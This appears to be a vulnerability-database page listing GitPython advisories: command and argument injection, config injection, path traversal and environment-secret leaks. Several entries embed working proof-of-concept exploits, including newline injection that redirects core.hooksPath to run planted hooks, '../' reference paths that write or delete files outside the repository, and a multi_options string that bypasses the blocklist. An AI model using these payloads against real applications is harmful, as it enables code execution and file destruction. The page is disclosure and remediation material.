Threats affecting pkg:pypi/GitPython
55 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Critical | 9.3 | EPSS 0.6% | CVE-2026-67324GitPython · OS Command Injection Critical9.3EPSS 0.6%CVE Database V5CVE-2026-67324 GitPython 3.1.50 fails to recognize joined short-option forms such as -u<value> (the short form of --upload-pack=<value>) when enforcing its default unsafe-option gate. When an application passes attacker-influenced clone options into Repo.clone_from(..., multi_options=..., allow_unsafe_options=False), an attacker can supply -u<helper> to bypass the gate that blocks --upload-pack/-u, causing Git to execute the specified helper command during clone. Fixed in 3.1.51. | CVE Database V5 | ||
| High | 8.6 | EPSS 1.3% | CVE-2026-67323GitPython · Command Injection High8.6EPSS 1.3%CVE Database V5CVE-2026-67323 GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods. | CVE Database V5 | ||
| High | 8.7 | EPSS 0.3% | CVE-2026-67322GitPython · Information Exposure High8.7EPSS 0.3%CVE Database V5CVE-2026-67322 GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret. | CVE Database V5 | ||
| High | 8.7 | EPSS 2.2% | CVE-2026-67325GitPython · OS Command Injection High8.7EPSS 2.2%CVE Database V5CVE-2026-67325 GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands. | CVE Database V5 | ||
| High | 7.5 | High7.5GCVE Database GitPython versions prior to 3.1.55 contain a vulnerability where environment variables in URLs passed to Repo.create_remote() or Remote.add() are expanded and embedded into the repository configuration. This occurs because the fix for a prior vulnerability did not cover these API calls, leaving the default behavior to expand environment variables in URLs. As a result, sensitive environment secrets can be exfiltrated by embedding them in URLs that are stored in .git/config and transmitted to attacker-controlled hosts during fetch or pull operations. | GCVE Database | |||
| High | 7.0 | High7.0GCVE Database GitPython versions up to 3.1.52 contain a configuration injection vulnerability where attacker-controlled submodule names can inject arbitrary config directives into the parent repository's .git/config file. This occurs because section names are insufficiently sanitized, allowing injection of directives like core.sshCommand that can lead to remote code execution on the victim's next git operation. The vulnerability is fixed in versions after 3.1.52. | GCVE Database | |||
| High | 7.5 | High7.5GCVE Database GitPython versions up to 3.1.50 (and before 3.1.52) contain a vulnerability where the Repo.clone_from() method passes the remote URL through os.path.expandvars() on non-Cygwin platforms. This causes environment variables embedded as $NAME or ${NAME} in the URL to be expanded using the server process's environment, potentially leaking secrets such as AWS keys or tokens to attacker-controlled hosts. The vulnerability arises because polish_url(), intended for local path normalization, is incorrectly applied to remote URLs without scheme checks or an opt-out for variable expansion. Additionally, the unsafe-protocol check is performed on the raw URL before expansion, allowing bypass if an attacker controls environment variables. No official patch or fix is currently documented. | GCVE Database | |||
| High | 8.4 | High8.4GCVE Database GitPython versions prior to 3.1.51 contain multiple vulnerabilities due to insufficient validation of caller-supplied options in several public APIs. Specifically, `Repo.archive()` and `git.ls_remote()` allow arbitrary command execution by forwarding unsafe Git options without proper checks. Additionally, `Repo.iter_commits()` and `Repo.blame()` permit arbitrary file overwrite by placing unvalidated revision arguments before the end-of-options separator, enabling file truncation. These issues arise because the existing unsafe option checks are only applied to network commands and not extended to these other APIs. | GCVE Database | |||
| High | 8.8 | High8.8GCVE Database GitPython contains a command injection vulnerability due to incomplete blocking of unsafe git options. The fix for CVE-2026-42215 implemented a blocklist for dangerous git options but did not account for git's acceptance of unambiguous long-option prefix abbreviations. This allows attackers to bypass the blocklist by using abbreviated option keys, leading to command injection when GitPython emits these options to git commands. The vulnerability affects all versions carrying the 3.1.47 blocklist fix through versions before 3.1.51. Exploitation requires a host application that passes attacker-controlled keyword argument keys to GitPython's clone, fetch, pull, or push methods. The severity is high, reflecting potential remote code execution impact. | GCVE Database | |||
| High | 8.7 | High8.7GCVE Database GitPython version 3.1.50 contains a vulnerability where the default unsafe option gate intended to block dangerous git clone options does not recognize joined short-option forms such as '-u<value>'. This allows an attacker controlling clone options to bypass the safety check and execute local commands via Git's --upload-pack/-u option. The issue arises because the option canonicalization treats '-u<value>' as a different option name, allowing execution despite allow_unsafe_options being false. The vulnerability affects the PyPI package GitPython at version 3.1.50. | GCVE Database | |||
| High | 7.8 | EPSS 0.2% | CVE-2026-44244GitPython · Code Injection High7.8EPSS 0.2%CVE Database V5CVE-2026-44244 `GitConfigParser.set_value()` passes values to Python's `configparser` without validating for newlines. GitPython's own `_write()` converts embedded newlines into indented continuation lines (e.g. `\n` becomes `\n\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration. This was found while auditing MLRun's `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`. PoC (standalone, no MLRun required): ```python import git, subprocess, os repo = git.Repo("/tmp/testrepo") with repo.config_writer() as cw: cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks") r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True) assert r.returncode == 0 print(r.stdout.strip()) # /tmp/hooks os.makedirs("/tmp/hooks", exist_ok=True) open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n") os.chmod("/tmp/hooks/pre-commit", 0o755) repo.index.add(["README"]) repo.git.commit(m="test") print(open("/tmp/pwned").read()) # uid=... ``` Tested on GitPython 3.1.46, git 2.39+. Impact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically. Remediation: `set_value()` should raise on CR, LF, or NUL in values rather than silently pass them through: ```python import re if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)): raise ValueError("Git config values must not contain CR, LF, or NUL") ``` Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that. Affected wherever `config_writer().set_value(section, key, user_input)` is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their `set_value()` call sites for externally influenced inputs. | CVE Database V5 | ||
| High | 7.8 | EPSS 0.4% | CVE-2026-44243GitPython · Path Traversal High7.8EPSS 0.4%CVE Database V5CVE-2026-44243 ## 🧾 Summary A vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**. --- ## 📦 Affected Versions * Affected: `<= 3.1.46` and current `main` (`3.1.47` in local checkout) --- ## 🧠 Details ### Vulnerability Type **Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion** --- ### Root Cause Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations. `SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries. --- ### Affected Code ```python def set_reference(self, ref, logmsg=None): ... fpath = self.abspath assure_directory_exists(fpath, is_file=True) lfd = LockedFD(fpath) fd = lfd.open(write=True, stream=True) ... ``` ```python @classmethod def delete(cls, repo, path): full_ref_path = cls.to_full_path(path) abs_path = os.path.join(repo.common_dir, full_ref_path) if os.path.exists(abs_path): os.remove(abs_path) ``` ```python def rename(self, new_path, force=False): new_path = self.to_full_path(new_path) new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path) cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path) ... os.rename(cur_abs_path, new_abs_path) ``` --- ### Attack Vector **Local attack through application-controlled input passed into GitPython reference APIs** ### Authentication Required **None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.** --- ## 🧪 Proof of Concept ### Setup ```bash pip install GitPython==3.1.46 python poc.py ``` --- ### Exploit ```python import shutil from pathlib import Path from git import Repo from git.refs.reference import Reference from git.refs.symbolic import SymbolicReference base = Path("gp-ghsa-poc").resolve() if base.exists(): shutil.rmtree(base) repo_dir = base / "repo" repo = Repo.init(repo_dir) (repo_dir / "a.txt").write_text("init\n", encoding="utf-8") repo.index.add(["a.txt"]) repo.index.commit("init") outside_write = base / "outside_write.txt" outside_delete = base / "outside_delete.txt" outside_delete.write_text("DELETE ME\n", encoding="utf-8") print(f"repo_dir = {repo_dir}") print(f"outside_write = {outside_write}") print(f"outside_delete = {outside_delete}") Reference.create(repo, "../../../outside_write.txt", "HEAD") print("\n[+] outside_write exists:", outside_write.exists()) if outside_write.exists(): print("[+] outside_write content:") print(outside_write.read_text(encoding="utf-8")) SymbolicReference.delete(repo, "../../../outside_delete.txt") print("\n[+] outside_delete exists after delete:", outside_delete.exists()) ``` --- ### Result ```text repo_dir = ...\gp-ghsa-poc\repo outside_write = ...\gp-ghsa-poc\outside_write.txt outside_delete = ...\gp-ghsa-poc\outside_delete.txt [+] outside_write exists: True [+] outside_write content: <current HEAD commit SHA> [+] outside_delete exists after delete: False ``` --- ## 💥 Impact ### What can an attacker do? * Create or overwrite files outside the repository metadata directory * Delete attacker-chosen files reachable from the process permissions * Corrupt application state or configuration files * Cause denial of service by deleting or overwriting important files --- ### Security Impact * **Confidentiality:** Low * **Integrity:** High * **Availability:** High --- ### Who is affected? * Applications that expose GitPython reference operations to user-controlled input * Git automation services, repository management backends, CI/CD helpers, and developer platforms * Multi-user environments where one user can influence ref names processed on behalf of another workflow --- ## 🛠️ Mitigation / Fix ### Recommended Fix ```python def _validate_ref_write_path(repo, path, *, for_git_dir=False): SymbolicReference._check_ref_name_valid(path) base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve() target = (base / path).resolve() if base not in [target, *target.parents]: raise ValueError(f"Reference path escapes repository boundary: {path}") return str(target) ``` ```python full_ref_path = cls.to_full_path(path) _validate_ref_write_path(repo, full_ref_path) ``` | CVE Database V5 | ||
| High | 8.1 | EPSS 0.6% | CVE-2026-42284GitPython · Argument Injection High8.1EPSS 0.6%CVE Database V5CVE-2026-42284 ### Summary `_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone. ### Details The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383): ```python multi = shlex.split(" ".join(multi_options)) ``` Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390): ```python Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options) ``` Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392): ```python proc = git.clone(multi, "--", url, path, ...) ``` The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`: ```python if option.startswith(unsafe_option) or option == bare_option: ``` `"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git. Also affects `Submodule.update()` via `clone_multi_options`. ### PoC ```python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent)) from git import Repo from git.exc import UnsafeOptionError try: Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multi_options=['--config', '...']: Block as expected") except Exception: pass DIR = pathlib.Path(__file__).resolve().parent / "workdir_b" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log" if not SRC.exists(): SRC.mkdir(parents=True) r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True) r("git", "init", "-b", "main") (SRC / "f").write_text("x\n") r("git", "add", ".") r("git", "commit", "-m", "init") HOOKS.mkdir(exist_ok=True) hook = HOOKS / "post-checkout" hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n") hook.chmod(0o755) LOG.unlink(missing_ok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix() try: Repo.clone_from(str(SRC), str(DST), multi_options=[payload]) except UnsafeOptionError: print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True) print(f"multi_options=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.read_text().strip()) ``` **Output:** ``` multi_options=['--config', '...']: Block as expected multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked Hook executed: True texugo DESKTOP-5w5HH79 ``` ### Impact Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267. | CVE Database V5 | ||
| High | 8.8 | EPSS 0.7% | CVE-2026-42215GitPython · OS Command Injection High8.8EPSS 0.7%CVE Database V5CVE-2026-42215 GitPython versions from 3.1.30 up to but not including 3.1.47 contain an OS command injection vulnerability. This occurs because certain Python keyword arguments (upload_pack and receive_pack) bypass the library's default blocking of dangerous Git options, allowing attacker-controlled input to lead to arbitrary command execution. The issue is fixed in version 3.1.47. The vulnerability has a high severity with a CVSS score of 8. | CVE Database V5 | ||
| Medium | 4.0 | EPSS 1.1% | CVE-2023-41040GitPython · Path Traversal Medium4.0EPSS 1.1%CVE Database V5CVE-2023-41040 GitPython is a python library used to interact with Git repositories. In order to resolve some git references, GitPython reads files from the `.git` directory, in some places the name of the file being read is provided by the user, GitPython doesn't check if this file is located outside the `.git` directory. This allows an attacker to make GitPython read any file from the system. This vulnerability is present in https://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/refs/symbolic.py#L174-L175. That code joins the base directory with a user given string without checking if the final path is located outside the base directory. This vulnerability cannot be used to read the contents of files but could in theory be used to trigger a denial of service for the program. This issue has been addressed in version 3.1.37. | CVE Database V5 |
Page 3 of 3